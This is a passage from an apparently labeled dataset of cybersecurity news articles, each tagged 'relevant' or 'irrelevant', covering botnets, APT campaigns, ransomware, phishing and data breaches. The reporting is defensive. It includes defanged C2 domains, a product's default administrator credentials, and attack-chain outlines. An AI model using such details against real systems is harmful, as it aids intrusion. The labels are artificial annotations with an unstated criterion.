pings the C2 server, the latter also receives a variety of details about the machine, such as its public IP, location, operating system version, computer name, and CPU model. Stating that the two C2 programs installed on the China-based server were developed by two different vendors, Guardicore said there are similarities in their remote control capabilities — namely downloading files, installing new Windows services, keylogging, screen capturing, activating the camera and microphone, and even initiating a Distributed Denial-of-Service (DDoS) attack. Use Strong Passwords to Avoid Brute-Force Attacks With about half-a-million machines running MS-SQL database service, the campaign is yet another indication that attackers are going after poorly protected database servers in an attempt to siphon sensitive information. It's essential that MS-SQL servers that are exposed to the internet are secured with strong credentials. ""What makes these database servers appealing for attackers apart from their valuable CPU power is the huge amount of data they hold,"" Guardicore researchers concluded. ""These machines possibly store personal information such as usernames, passwords, credit card numbers, etc., which can fall into the attacker's hands with only a simple brute-force.""",relevant
"Dark Nexus: A New Emerging IoT Botnet Malware Spotted in the Wild Cybersecurity researchers have discovered a new emerging IoT botnet threat that leverages compromised smart devices to stage 'distributed denial-of-service' attacks, potentially triggered on-demand through platforms offering DDoS-for-hire services. The botnet, named ""dark_nexus"" by Bitdefender researchers, works by employing credential stuffing attacks against a variety of devices, such as routers (from Dasan Zhone, Dlink, and ASUS), video recorders, and thermal cameras, to co-opt them into the botnet. So far, dark_nexus comprises at least 1,372 bots, acting as a reverse proxy, spanning across various locations in China, South Korea, Thailand, Brazil, and Russia. ""While it might share some features with previously known IoT botnets, the way some of its modules have been developed makes it significantly more potent and robust,"" the researchers said. ""For example, payloads are compiled for 12 different CPU architectures and dynamically delivered based on the victim's configuration."" Evidence gathered by Bitdefender points to greek.Helios as the individual behind the development of dark_nexus, who is a known botnet author infamous for selling DDoS services on social media platforms and using a YouTube channel to advertise its capabilities. Inspired by known botnets Qbot and Mirai Noting dark_nexus' similarities to Qbot banking malware and Mirai, Bitdefender researchers said its core modules are ""mostly original"" and that it's frequently updated, with over 30 versions released during the period from December 2019 to March 2020 (versions 4.0 through 8.6). dark nexus botnet ""The startup code of the bot resembles that of Qbot: it forks several times, blocks several signals, and detaches itself from the terminal,"" the researchers said. ""Then, in the vein of Mirai, it binds to a fixed port (7630), ensuring that a single instance of this bot can run on the device. The bot attempts to disguise itself by changing its name to '/bin/busybox.' Another feature borrowed from Mirai is the disabling of the watchdog by periodic ioctl calls on the virtual device."" The infrastructure consists of several command-and-control (C2) servers (switchnets[.]net:30047 amd thiccnigga[.]me:30047), which issue remote commands to the infected bots, and reporting servers to which bots share details about vulnerable services (e.g., devices protected by default passwords). Once the brute-force attack succeeds, the bot registers to the C2 server identifying the device's CPU architecture so as to transmit custom infection payload via Telnet, download bot binaries, and other malware components from a hosting server (switchnets[.]net:80), and execute them. In addition, some versions of the botnet (4.0 to 5.3) come with a reverse proxy feature that lets the victim act as a proxy for the hosting server, thereby directing the infected device to download and store the necessary executables locally instead of having to connect to the central hosting server. That's not all. dark_nexus comes with persistence commands that prevent the device from getting rebooted by stopping the cron service and removing privileges to services that could be used to reboot said device in question. dark nexus iot botnet ""It also uses a technique meant to ensure 'supremacy' on the compromised device,"" Bitdefender observed. ""Uniquely, dark_nexus uses a scoring system based on weights and thresholds to assessing which processes might pose a risk. This involves maintaining a list of whitelisted processes and their PIDs, and killing every other process that crosses a threshold (greater or equal to 100) of suspicion."" Your IoT Devices Are Up for Hire The Mirai botnet, since its discovery in 2016, has been linked to a number of large-scale DDoS attacks. Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet. Botnet authors, likewise, have staged brute-force attacks on WordPress sites to insert Qbot banking trojan and download additional malware. The fact that dark_nexus is built on the foundations of Mirai and Qbot is proof of the evolving tactics of botnet operators and inexperienced hackers alike, allowing them to add new functionality by exploiting a variety of vulnerabilities in poorly secured IoT devices and amass modern botnet armies. ""Using YouTube videos demoing some of his past work and posting offerings on various cybercriminal forums, greek.Helios seems to have experience with IoT malware skills, honing them to the point of developing the new dark_nexus botnet,"" Bitdefender researchers concluded.",relevant
"Dell Releases A New Cybersecurity Utility To Detect BIOS Attacks Computer manufacturing giant Dell has released a new security tool for its commercial customers that aims to protect their computers from stealthy and sophisticated cyberattacks involving the compromise of the BIOS. Dubbed 'SafeBIOS Events & Indicators of Attack' (IoA), the new endpoint security software is a behavior-based threat detection system that alerts users when BIOS settings of their computers undergo some unusual changes. BIOS (Basic Input Output System) is a small but highly-privileged program that handles critical operations and starts your computer before handing it over to your operating system. Protecting the BIOS program is crucial because: Changes to the system BIOS settings could allow malicious software to run during the boot process, Once a hacker takes over the BIOS, he can stealthily control the targeted computer and gain access to the data stored on it, Malware in BIOS remains persistent and doesn't get away even when you format or erase your entire hard drive, Attacks against the BIOS are typically hard to detect because they are invisible to antivirus and other security software installed on the system, With stealth access to one of the compromised systems in an enterprise IT network, sophisticated attackers could move laterally throughout the infrastructure. According to Dell, the controls offered by SafeBIOS can quickly mitigate the risk of BIOS tampering by bringing them to your attention timely, allowing you to quarantine infected PCs. ""Organizations need the ability to detect when a malicious actor is on the move, altering BIOS configurations on endpoints as part of a larger attack strategy. SafeBIOS now provides the unique ability to generate Indicators of Attack on BIOS configurations, including changes and events that can signal an exploit,"" David Konetski, VP Client Solutions Group CTO at Dell said in a blog post. ""When BIOS configuration changes are detected that indicate a potential attack, security and IT teams are quickly alerted in their management consoles, allowing for swift isolation and remediation. SafeBIOS Events & IoA provides IT teams the visibility into BIOS configuration changes and analyzes these for potential threats – even during an ongoing attack."" The company says the SafeBIOS Events and Indicators of Attack tool is currently available for Dell commercial PCs through its Dell Trusted Devices solution.",irrelevant
"Researcher Discloses 4 Zero-Day Bugs in IBM's Enterprise Security Software A cybersecurity researcher today publicly disclosed technical details and PoC for 4 unpatched zero-day vulnerabilities affecting an enterprise security software offered by IBM after the company refused to acknowledge the responsibly submitted disclosure. The affected premium product in question is IBM Data Risk Manager (IDRM) that has been designed to analyze sensitive business information assets of an organization and determine associated risks. According to Pedro Ribeiro from Agile Information Security firm, IBM Data Risk Manager contains three critical severity vulnerabilities and a high impact bug, all listed below, which can be exploited by an unauthenticated attacker reachable over the network, and when chained together could also lead to remote code execution as root. Authentication Bypass Command Injection Insecure Default Password Arbitrary File Download Ribeiro successfully tested the flaws against IBM Data Risk Manager version 2.0.1 to 2.0.3, which is not the latest version of the software but believes they also work through 2.0.4 to the newest version 2.0.6 because ""there is no mention of fixed vulnerabilities in any change log."" ""IDRM is an enterprise security product that handles very sensitive information. A compromise of such a product might lead to a full-scale company compromise, as the tool has credentials to access other security tools, not to mention it contains information about critical vulnerabilities that affect the company,"" Ribeiro said. Critical Zero-Day Vulnerabilities in IBM Data Risk Manager In brief, the authentication bypass flaw exploits a logical error in the session ID feature to reset the password for any existing account, including the administrator. The command injection flaw resides in the way IBM's enterprise security software lets users perform network scans using Nmap scripts, which apparently can be equipped with malicious commands when supplied by attackers. According to the vulnerability disclosure, to SSH and run sudo commands, IDRM virtual appliance also has a built-in administrative user with username ""a3user"" and default password of ""idrm,"" which if left unchanged, could let remote attackers take complete control over the targeted systems. The last vulnerability resides in an API endpoint that allows authenticated users to download log files from the system. However, according to the researcher, one of the parameters to this endpoint suffers from a directory traversal flaw that could let malicious users download any file from the system. Besides technical details, the researcher has also released two Metasploit modules for authentication bypass, remote code execution, and arbitrary file download issues. Ribeiro claims to have reported this issue to IBM via CERT/CC and in response, the company refused to accept the vulnerability report, saying: "" We have assessed this report and closed as being out of scope for our vulnerability disclosure program since this product is only for ""enhanced"" support paid for by our customers."" In response Ribeiro said, ""In any case, I did not ask or expect a bounty since I do not have a HackerOne account and I don't agree with HackerOne's or IBM's disclosure terms there. I simply wanted to disclose these to IBM responsibly and let them fix it."" The Hacker News has reached out to IBM, and we will update the article as more information becomes available. Update: An IBM spokesperson told The Hacker News that ""a process error resulted in an improper response to the researcher who reported this situation to IBM. We have been working on mitigation steps and they will be discussed in a security advisory to be issued.""",relevant
"U.S. Offers Rewards up to $5 Million for Information on North Korean Hackers The United States agencies today released a joint advisory warning the world about the 'significant cyber threat' posed by North Korean state-sponsored hackers to the global banking and financial institutions. Besides a summary of recent cyberattacks attributed to North Korean hackers, the advisory—issued by U.S. Departments of State, the Treasury, and Homeland Security, and the FBI—also contains a comprehensive guide intends to help the international community, industries, and other governments defend against North Korea's illicit activities. ""In particular, the United States is deeply concerned about North Korea's malicious cyber activities, which the U.S. government refers to as HIDDEN COBRA. The DPRK has the capability to conduct disruptive or destructive cyber activities affecting U.S. critical infrastructure,"" the advisory says. ""The DPRK also uses cyber capabilities to steal from financial institutions, and has demonstrated a pattern of disruptive and harmful cyber activity that is wholly inconsistent with the growing international consensus on what constitutes responsible state behavior in cyberspace."" Notably, it also mentioned that the U.S. government is now offering a monetary reward of up to $5 million to anyone who can share 'information about illicit North Korea's activities in cyberspace,' including past or ongoing hacking operations. ""To support international efforts to disrupt North Korea's illicit activities, the State Department's Rewards for Justice (RFJ) program offers rewards of up to $5 million for information that leads to the disruption of financial mechanisms of persons engaged in certain activities that support North Korea, including money laundering, sanctions evasion, cyber-crime, and WMD proliferation,"" the Reward for Justice website says. The well-known North Korea hacking group out of all is the Lazarus group, also known as Hidden Cobra and Guardians of Peace, that has been linked to several high-profile disruptive and espionage-related cyberattacks. The first part of the report lists a broad categorization of cyber activities targeting financial institutions through which North Korea generates revenue while bypassing sanctions imposed by the UN Security Council. This list includes: Cyber activities to steal money from financial institutions and digital currency exchanges, Using digital means to illegally launder funds through multiple jurisdictions, Cyber attacks to conduct extortion campaigns against third-country entities, Using Cryptojacking malware against victims from other countries and abusing their systems to mine digital currencies. According to the United States, North Korea has attempted to steal as much as $2 billion through these malicious cyber activities. ""North Korea targets cyber-enabled infrastructure globally to generate revenue for its regime priorities, including its weapons of mass destruction programs,"" the U.S. government said. ""They develop and deploy a wide range of malware tools around the world to enable these activities and have grown increasingly sophisticated."" Last year September, the United States Treasury Department also issued sanctions against three North Korean hacking groups for conducting several destructive cyberattacks on the U.S. critical infrastructure. The next part of the latest advisory lists some of the well-known cyberattacks publicly attributed to North Korean nation-state attackers, including: The 2014 Sony Pictures hack, The $81 million Bangladesh Bank Heist, The Global 2017 WannaCry ransomware outbreak, FASTCash: Fraudulent ATM cash withdrawal scheme, The $250 million theft from cryptocurrency exchanges. ""The DPRK has repeatedly targeted the U.S. and other government and military networks, as well as networks related to private entities and critical infrastructure, to steal data and conduct disruptive and destructive cyber activities,"" the advisory says. In brief, the United States believes North Korea has developed a robust military-style offensive cyber operation capability that can be used to conduct more disruptive or destructive attacks against its critical infrastructures.",irrelevant
"CISA Warns Patched Pulse Secure VPNs Could Still Expose Organizations to Hackers The United States Cybersecurity and Infrastructure Security Agency (CISA) yesterday issued a fresh advisory alerting organizations to change all their Active Directory credentials as a defense against cyberattacks trying to leverage a known remote code execution (RCE) vulnerability in Pulse Secure VPN servers—even if they have already patched it. The warning comes three months after another CISA alert urging users and administrators to patch Pulse Secure VPN environments to thwart attacks exploiting the vulnerability. ""Threat actors who successfully exploited CVE-2019-11510 and stole a victim organization's credentials will still be able to access — and move laterally through — that organization's network after the organization has patched this vulnerability if the organization did not change those stolen credentials,"" CISA said. CISA has also released a tool to help network administrators look for any indicators of compromise associated with the flaw. A Remote Code Execution Flaw Tracked as CVE-2019-11510, the pre-authentication arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands. pulse secure vpn vulnerability The flaw stems from the fact that directory traversal is hard-coded to be allowed if a path contains ""dana/html5/acc,"" thus allowing an attacker to send specially crafted URLs to read sensitive files, such as ""/etc/passwd"" that contains information about each user on the system. To address this issue, Pulse Secure released an out-of-band patch on April 24, 2019. pulse secure vpn vulnerability While on August 24, 2019, security intelligence firm Bad Packets was able to discover 14,528 unpatched Pulse Secure servers, a subsequent scan as of last month yielded 2,099 vulnerable endpoints, indicating that a vast majority of organizations have patched their VPN gateways. Unpatched VPN Servers Become Lucrative Target The fact that there are still over thousands of unpatched Pulse Secure VPN servers has made them a lucrative target for bad actors to distribute malware. A report from ClearSky found Iranian state-sponsored hackers using CVE-2019-11510, among others, to penetrate and steal information from target IT and telecommunication companies across the world. According to an NSA advisory from October 2019, the ""exploit code is freely available online via the Metasploit framework, as well as GitHub. Malicious cyber actors are actively using this exploit code."" In a similar alert issued last year, the UK's National Cyber Security Centre (NCSC) warned that advanced threat groups are exploiting the vulnerability to target government, military, academic, business, and healthcare organizations. More recently, Travelex, the foreign currency exchange and travel insurance firm, became a victim after cybercriminals planted Sodinokibi (REvil) ransomware on the company's networks via the Pulse Secure vulnerability. Although the ransomware operators demanded a ransom of $6 million (£4.6 million), a Wall Street Journal report last week said it paid $2.3 million in the form of 285 Bitcoin to resolve its problem. In the face of ongoing attacks, it's recommended that organizations upgrade their Pulse Secure VPN, reset their credentials, and scan for unauthenticated log requests and exploit attempts. CISA has also suggested removing any unapproved remote access programs and inspecting scheduled tasks for scripts or executables that may allow an attacker to connect to an environment. For more steps to mitigate the flaw, head to NSA's advisory here.",relevant
"Hackers Targeting Critical Healthcare Facilities With Ransomware During Coronavirus Pandemic As hospitals around the world are struggling to respond to the coronavirus crisis, cybercriminals—with no conscience and empathy—are continuously targeting healthcare organizations, research facilities, and other governmental organizations with ransomware and malicious information stealers. The new research, published by Palo Alto Networks and shared with The Hacker News, confirmed that ""the threat actors who profit from cybercrime will go to any extent, including targeting organizations that are in the front lines and responding to the pandemic on a daily basis."" While the security firm didn't name the latest victims, it said a Canadian government healthcare organization and a Canadian medical research university both suffered ransomware attacks, as criminal groups seek to exploit the crisis for financial gain. The attacks were detected between March 24 and March 26 and were initiated as part of the coronavirus-themed phishing campaigns that have become widespread in recent months. Palo Alto Networks' disclosure comes as The U.S. Department of Health and Human Services (HHS), biotechnology firm 10x Genomics, Brno University Hospital in the Czech Republic, and Hammersmith Medicines Research have been hit by cyberattacks in the past few weeks. Delivering Ransomware by Exploiting CVE-2012-0158 According to the researchers, the campaign began with malicious emails sent from a spoofed address mimicking the World Health Organization (noreply@who[.]int) that were sent to a number of individuals associated with the healthcare organization that's actively involved in COVID-19 response efforts. The email lures contained a rich text format (RTF) document named ""20200323-sitrep-63-covid-19.doc,"" which, when opened, attempted to deliver EDA2 ransomware by exploiting a known buffer overflow vulnerability (CVE-2012-0158) in Microsoft's ListView / TreeView ActiveX controls in MSCOMCTL.OCX library. phishing email malware It is interesting to note that even though the file name clearly references a specific date (March 23, 2020), the file name was not updated over the course of the campaign to reflect current dates, Palo Alto Networks researchers noted. It is also interesting that the malware authors did not attempt to make their lures appear legitimate in any way; it is clear from the first page of the document that something is amiss. Upon execution, the ransomware binary contacts the command-and-control (C2) server to download an image that serves as the main ransomware infection notification on the victim's device, and subsequently transmits the host details to create a custom key to encrypt the files on the system's desktop with a "".locked20"" extension. Aside from receiving the key, the infected host uses an HTTP Post request to send the decryption key, encrypted using AES, to the C2 server. Palo Alto Networks ascertained that the ransomware strain was EDA2 based on the code structure of the binary and the host-based and network-based behaviors of the ransomware. EDA2 and Hidden Tear are considered one of the first open-source ransomware that were created for educational purposes but have since been abused by hackers to pursue their own interests. A Spike in Ransomware Incidents The ransomware attacks are a consequence of an increase in other cyberattacks related to the pandemic. They have included a rash of phishing emails that attempt to use the crisis to persuade people to click on links that download malware or ransomware onto their computers. Furthermore, Check Point Research's Brand Phishing Report for Q1 2020 observed a jump in mobile phishing due to people spending more time on their phones for information related to the outbreak and for work. Attackers were found imitating popular services such as Netflix, Airbnb, and Chase Bank to steal login credentials. With hospitals under time constraints and pressure due to the ongoing pandemic, hackers are counting on the organizations to pay ransoms to recover access to critical systems and prevent disruption to patient care. A report released by RisKIQ last week found that ransomware attacks on medical facilities were up 35% between 2016 and 2019, with the average ransom demand being $59,000 across 127 incidents. The cybersecurity firm stated that hackers also favored small hospitals and healthcare centers for reasons ranging from lean security support to increased likelihood of heeding to ransom demands. The spike in ransomware attacks against the medical sector has prompted Interpol to issue a warning about the threat to member countries. Cybercriminals are using ransomware to hold hospitals and medical services digitally hostage, preventing them from accessing vital files and systems until a ransom is paid, the agency said. To protect the systems from such attacks, Interpol cautioned organizations to watch out for phishing attempts, encrypt sensitive data, and take periodic data backups, aside from storing them offline or on a different network to thwart cybercriminals.",relevant
"Targeted Phishing Attacks Successfully Hacked Top Executives At 150+ Companies In the last few months, multiple groups of attackers successfully compromised corporate email accounts of at least 156 high-ranking officers at various firms based in Germany, the UK, Netherlands, Hong Kong, and Singapore. Dubbed 'PerSwaysion,' the newly spotted cyberattack campaign leveraged Microsoft file-sharing services—including Sway, SharePoint, and OneNote—to launch highly targeted phishing attacks. According to a report Group-IB Threat Intelligence team published today and shared with The Hacker News, PerSwaysion operations attacked executives of more than 150 companies around the world, primarily with businesses in finance, law, and real estate sectors. ""Among these high-ranking officer victims, more than 20 Office365 accounts of executives, presidents, and managing directors appeared."" So far successful and still ongoing, most PerSwaysion operations were orchestrated by scammers from Nigeria and South Africa who used a Vue.js JavaScript framework-based phishing kit, evidently, developed by and rented from Vietnamese speaking hackers. ""By late September 2019, PerSwaysion campaign has adopted much mature technology stacks, using Google appspot for phishing web application servers and Cloudflare for data backend servers."" Like most phishing attacks aiming to steal Microsoft Office 365 credentials, fraudulent emails sent as part of PerSwaysion operation also lured victims with a non-malicious PDF attachment containing 'read now' link to a file hosted with Microsoft Sway. ""The attackers pick legitimate cloud-based content sharing services, such as Microsoft Sway, Microsoft SharePoint, and OneNote to avoid traffic detection,"" the researchers said. Next, the specially crafted presentation page on Microsoft Sway service further contains another 'read now' link that redirects users to the actual phishing site—waiting for the victims to enter their email account credentials or other confidential information. Once stolen, attackers immediately move on to the next step and download victims' email data from the server using IMAP APIs and then impersonate their identities to further target people who have recent email communications with the current victim and hold important roles in the same or other companies. email phishing attack ""Finally, they generate new phishing PDF files with the current victim's full name, email address, legal company name. These PDF files are sent to a selection of new people who tend to be outside of the victim's organization and hold significant positions. The PerSwaysion operators typically delete impersonating emails from the outbox to avoid suspicion."" ""Evidence indicates that scammers are likely to use LinkedIn profiles to assess potential victim positions. Such a tactic reduces the possibility of early warning from the current victim's co-workers and increases the success rate of new phishing cycle."" Though there's no clear evidence on how attackers are using compromised corporate data, researchers believe it can be 'sold in bulk to other financial scammers to conduct traditional monetary scams.' Group-IB has also set-up an online web-page where anyone can check if their email address was compromised as part of PerSwaysion attacks—however, you should only use it and enter your email if you're highly expecting to be attacked.",irrelevant
"This Asia-Pacific Cyber Espionage Campaign Went Undetected for 5 Years An advanced group of Chinese hackers has recently been spotted to be behind a sustained cyber espionage campaign targeting government entities in Australia, Indonesia, Philippines, Vietnam, Thailand, Myanmar, and Brunei—which went undetected for at least five years and is still an ongoing threat. The group, named 'Naikon APT,' once known as one of the most active APTs in Asia until 2015, carried out a string of cyberattacks in the Asia-Pacific (APAC) region in search of geopolitical intelligence. According to the latest investigation report Check Point researchers shared with The Hacker News, the Naikon APT group had not gone silent for the last 5 years, as initially suspected; instead, it was using a new backdoor, called ""Aria-body,"" to operate stealthily. ""Given the characteristics of the victims and capabilities presented by the group, it is evident that the group's purpose is to gather intelligence and spy on the countries whose governments it has targeted,"" the researchers said. In brief, the Aria-body backdoor is being used to take control of the internal networks of a targeted organization, in addition to mounting attacks from an already breached company to infect another. ""This includes not only locating and collecting specific documents from infected computers and networks within government departments, but also extracting removable data drives, taking screenshots and keylogging, and of course, harvesting the stolen data for espionage."" A Geo-Political Intelligence Campaign First documented in 2015, the Naikon APT group uses crafted email lures as an initial attack vector against top-level government agencies and civil and military organizations, which, when opened, installed spyware that exfiltrated sensitive documents to remote command-and-control (C2) servers. Although no new signs of activity have been reported since then, Check Point's latest research casts its operations in a fresh light. ""Naikon attempted to attack one of our customers by impersonating a foreign government – that's when they came back onto our radar after a five-year absence, and we decided to investigate further,"" Lotem Finkelsteen, manager of threat intelligence at Check Point, said. Not only were multiple infection chains employed to deliver the Aria-body backdoor, but the malicious emails also contained an RTF file (named ""The Indians Way.doc"") that was infected with an exploit builder called RoyalBlood, which dropped a loader (intel.wll) in the system's Microsoft Word startup folder (""%APPDATA%\Microsoft\Word\STARTUP""). RoyalBlood is an RTF weaponizer shared mostly among Chinese threat actors. It's worth noting that a similar modus operandi has been linked to a campaign against Mongolian government agencies, called Vicious Panda, that was found exploiting the ongoing coronavirus outbreak to plant malware via social engineering tricks. In a separate infection mechanism, archive files were packaged with a legitimate executable (such as Outlook and Avast Proxy) and a malicious library to drop the loader on the target system. Regardless of the method to gain an initial foothold, the loader then established a connection with a C2 server to download the next-stage Aria-body backdoor payload. ""After getting the C&C domain, the loader contacts it to download the next and final stage of the infection chain,"" the researchers noted. ""Although it sounds simple, the attackers operate the C&C server in a limited daily window, going online only for a few hours each day, making it harder to gain access to the advanced parts of the infection chain."" The Aria-body RAT, named so based on the name ""aria-body-dllX86.dll"" given by the malware authors, has all the features you'd expect from a typical backdoor: create and delete files and directories, take screenshots, search for files, gather file metadata, collect system and location information, among others. Some recent variations of Aria-body also come equipped with capabilities to capture keystrokes, and even load other extensions, per researchers, suggesting the backdoor is under active development. Aside from exfiltrating all the gathered data to the C2 server, the backdoor listens for any additional commands to be executed. Further analysis of the C2 infrastructure found that several domains were used for long stretches of time, with the same IP address reused with more than one domain. Taking their evasion tactics to the next level, the adversary compromised and used servers within the infected ministries as C2 servers to launch attacks, and relay and route the stolen data, rather than risk detection when accessing the remote servers. Ties to Naikon APT Check Point said it attributed the campaign to the Naikon APT based on code similarities in Aria-body and the espionage tool detailed by Kaspersky (called ""XSControl"") in 2015, as well as in the use of C2 domains (mopo3[.]net) that resolve to the same IP address as the domains mentioned by the latter (myanmartech.vicp[.]net). Asia-Pacific Cyber Espionage Campaign ""While the Naikon APT group has kept under the radar for the past 5 years, it appears that they have not been idle,"" Check Point concluded. ""In fact, quite the opposite. By utilizing new server infrastructure, ever-changing loader variants, in-memory fileless loading, as well as a new backdoor — the Naikon APT group was able to prevent analysts from tracing their activity back to them.""",irrelevant
"Chinese Researchers Disrupt Malware Attack That Infected Thousands of PCs Chinese security firm Qihoo 360 Netlab said it partnered with tech giant Baidu to disrupt a malware botnet infecting over hundreds of thousands of systems. The botnet was traced back to a group it calls ShuangQiang (also called Double Gun), which has been behind several attacks since 2017 aimed at compromising Windows computers with MBR and VBR bootkits, and installing malicious drivers for financial gain and hijack web traffic to e-commerce sites. In addition to using images uploaded to Baidu Tieba to distribute configuration files and malware — a technique called steganography — the group has begun using Alibaba Cloud storage to host configuration files and Baidu's analytics platform Tongji to manage the activity of its infected hosts, the researchers said. The initial compromise relies on luring unsuspecting users to install game launching software from sketchy game portals that contain malicious code under the guise of a patch. Chinese Botnet Malware Once the user downloads and installs the patch, it accesses the aforementioned configuration information to download a separate program named ""cs.dll"" from Baidu Tieba that's stored as an image file. In the subsequent stages, ""cs.dll"" not only creates a bot ID and reports it back to the attacker-controlled server, but it also injects a second driver that hijacks system processes (e.g., lassas.exe and svchost.exe) in order to download next-stage payloads to advance the group's motives. Qihoo researchers also detailed a second infection chain wherein game client software is altered with malicious libraries (a modified version of photobase.dll), using a method called DLL hijacking to release and load the malicious driver before loading the legitimate module. The company said it reached out to Baidu's security team on May 14 and that they jointly took action to prevent the further spread of the botnet by blocking all downloads from the URLs involved. ""During this joint operation, through the analysis, sharing, and response of threat information, we have formed a better understanding of the technical means, logic, and rules of the Double Gun gang,"" Baidu said.",irrelevant
"DigitalOcean Data Leak Incident Exposed Some of Its Customers Data DigitalOcean, one of the biggest modern web hosting platforms, recently hit with a concerning data leak incident that exposed some of its customers' data to unknown and unauthorized third parties. Though the hosting company has not yet publicly released a statement, it did has started warning affected customers of the scope of the breach via an email. According to the breach notification email that affected customers [1, 2] received, the data leak happened due to negligence where DigitalOcean 'unintentionally' left an internal document accessible to the Internet without requiring any password. ""This document contained your email address and/or account name (the name you gave your account at sign-up) as well as some data about your account that may have included Droplet count, bandwidth usage, some support or sales communications notes, and the amount you paid during 2018,"" the company said in the warning email as shown below. Upon discovery, a quick digital investigation revealed that the exposed file containing customers' data was accessed by unauthorized third parties at least 15 times before the document was finally taken down. ""Our community is built on trust, so we are taking steps to make sure this doesn't happen again. We will be educating our employees on protecting customer data, establishing new procedures to alert us of potential exposures in a more timely manner, and making configuration changes to prevent future data exposure,"" the company added. To be noted, this specific breach neither indicates the DigitalOcean website was compromised, nor the customers' login credentials were leaked to the attackers. So, if you have an account with the hosting service, you don't have to rush into changing your password. However, the service also offers two-factor authentication that every user must enable to add an extra layer of security to their accounts. The Hacker New has reached out to DigitalOcean for a comment, and the story will be updated with the response. Update — A spokesperson for the company confirmed The Hacker News of the incident and shared a statement: ""We had a document that was discovered to be shared publicly and while we feel confident there was no malicious access to that document, we informed our customers regardless for transparency. Less than 1% of our customer base was impacted, and the only PII included in the file was account name and email address. ""This was not related to a malicious act to access our systems. Our customers trust us with their data and we believe that an unintended use of that data, no matter how small, is reason enough to be transparent.""",irrelevant
"British Airline EasyJet Suffers Data Breach Exposing 9 Million Customers' Data British low-cost airline EasyJet today admitted that the company has fallen victim to a cyber-attack, which it labeled ""highly sophisticated,"" exposing email addresses and travel details of around 9 million of its customers. In an official statement released today, EasyJet confirmed that of the 9 million affected users, a small subset of customers, i.e., 2,208 customers, have also had their credit card details stolen, though no passport details were accessed. The airline did not disclose precisely how the breach happened, when it happened, when the company discovered it, how the sophisticated attackers unauthorizedly managed to gain access to the private information of its customers, and for how long they had that access to the airline's systems. However, EasyJet assured its users that the company had closed off the unauthorized access following the discovery and that it found ""no evidence that any personal information of any nature has been misused"" by the attackers. ""As soon as we became aware of the attack, we took immediate steps to respond to and manage the incident and engaged leading forensic experts to investigate the issue,"" the company said in a statement published today. EasyJet has also notified the Information Commissioner's Office (ICO), Britain's data protection agency, and continues to investigate the breach incident to determine its extent and further enhance its security environment. ""We take the cybersecurity of our systems very seriously and have robust security measures in place to protect our customers' personal information. However, this is an evolving threat as cyber attackers get ever more sophisticated,"" says EasyJet Chief Executive Officer Johan Lundgren. ""Since we became aware of the incident, it has become clear that owing to COVID-19, there is heightened concern about personal data being used for online scams. Every business must continue to stay agile to stay ahead of the threat."" As a precautionary measure recommended by the ICO, the airline has started contacting all customers whose travel and credit card details were accessed in the breach to advise them to be ""extra vigilant, particularly if they receive unsolicited communications."" Affected customers will be notified by May 26. Last year, the ICO fined British Airways with a record of £183 million for failing to protect the personal information of around half a million of its customers during a 2018 security breach incident involving a Magecart-style card-skimming attack on its website. Affected customers should be suspicious of phishing emails, which are usually the next step of cybercriminals to trick users into giving away further details of their accounts like passwords and banking information. Affected customers exposing their credit card details are advised to block the affected cards and request a new one from their respective financial institution, and always keep a close eye on your bank and payment card statements for any unusual activity and report to the bank if you find any.",irrelevant
"U.S Defense Warns of 3 New Malware Used by North Korean Hackers Yesterday, on the 3rd anniversary of the infamous global WannaCry ransomware outbreak for which North Korea was blamed, the U.S. government released information about three new malware strains used by state-sponsored North Korean hackers. Called COPPERHEDGE, TAINTEDSCRIBE, and PEBBLEDASH, the malware variants are capable of remote reconnaissance and exfiltration of sensitive information from target systems, according to a joint advisory released by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). The three new malware strains are the latest addition to a long list of over 20 malware samples, including BISTROMATH, SLICKSHOES, HOPLIGHT, and ELECTRICFISH, among others, that have been identified by the security agencies as originating as part of a series of malicious cyber activity by the North Korean government it calls Hidden Cobra, or widely known by the moniker Lazarus Group. Full-Featured Trojans COPPERHEDGE, the first of the three new variants, is a full-featured Remote Access Tool (RAT) capable of running arbitrary commands, performing system reconnaissance, and exfiltrating data. It's being used by advanced threat actors to target cryptocurrency exchanges and related entities. Six different versions of COPPERHEDGE have been identified. TAINTEDSCRIBE functions as a backdoor implant that masquerades itself as Microsoft's Narrator screen reader utility to download malicious payloads from a command-and-control (C2) server, upload, and execute files, and even create and terminate processes. Lastly, PEBBLEDASH, like TAINTEDSCRIBE, is another trojan with capabilities to ""download, upload, delete, and execute files; enable Windows CLI access; create and terminate processes; perform target system enumeration."" A significant Cyber Espionage Threat The WannaCry ransomware infection of 2017, also known as Wanna Decryptor, leveraged a Windows SMB exploit, dubbed EternalBlue, that allowed a remote hacker to hijack unpatched Windows computers in return for Bitcoin payments of up to $600. The attack has since been traced to Hidden Cobra. With the Lazarus Group responsible for the theft of more than $571 million worth of cryptocurrency from online exchanges, the financially-motivated attacks led the US Treasury to sanction the group and its two off-shoots, Bluenoroff and Andariel, last September. Then earlier this March, the US Department of Justice (DoJ) charged two Chinese nationals working on behalf of the North Korean threat actors to allegedly launder over $100 million worth of the stolen cryptocurrency using prepaid Apple iTunes gift cards. Last month, the US government had issued guidance on the 'significant cyber threat' posed by North Korean state-sponsored hackers to the global banking and financial institutions, in addition to offering a monetary reward of up to $5 million for information about past or ongoing illicit DPRK activities in the cyber realm. ""The DPRK's malicious cyber activities threaten the United States and the broader international community and, in particular, pose a significant threat to the integrity and stability of the international financial system,"" the advisory cautioned. ""Under the pressure of robust US and UN sanctions, the DPRK has increasingly relied on illicit activities – including cybercrime – to generate revenue for its weapons of mass destruction and ballistic missile programs.""",irrelevant
